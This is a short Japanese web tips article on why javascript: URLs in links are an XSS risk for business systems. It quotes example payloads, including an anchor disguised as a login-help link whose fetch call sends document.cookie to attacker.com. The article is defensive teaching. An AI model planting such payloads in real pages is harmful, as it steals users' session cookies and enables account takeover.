JavaScript Tips | セキュリティ:javascript: URLを拒否する

JavaScript JavaScript
スポンサーリンク
スポンサーリンク

「javascript: URLを拒否する」は“リンクからのコード実行”を根本的に封じるためのセキュリティガードです

業務システムで URL を扱うときに、必ず意識してほしい危険な存在が javascript: URL です。

javascript: URL とは、例えば次のようなものです。

javascript:alert('XSS');
javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie);

これを <a href="javascript:..."> のようにリンクとして扱うと、 ユーザーがクリックした瞬間に ブラウザ上で任意のJavaScriptコードが実行されてしまいます

つまり、リンクでありながら「コードの実行トリガー」になってしまうため、 XSS攻撃の入り口として非常に危険です。

ここでは、初心者向けに、 「何が危険なのか」→「どうやって拒否するのか」→「実務で使えるユーティリティ」 という流れでステップバイステップで解説していきます。

javascript: URLが危険な理由を具体的にイメージする

例:コメント欄に仕込まれた攻撃

ユーザーが次のようなコメントを投稿したとします。

<a href="javascript:alert('攻撃');">クリックしてください</a>

これをそのまま画面に表示すると、 他のユーザーがクリックした瞬間に alert('攻撃') が実行されます。

もっと悪意のある例では、次のようなコードもありえます。

<a href="javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)">ログインに失敗した場合はこちら</a>

これをクリックすると、 ユーザーのクッキー情報が攻撃者のサーバーへ送信されてしまいます。

結論

「href に javascript: を許してはいけない」 これが、業務システムにおける基本方針です。

タイトルとURLをコピーしました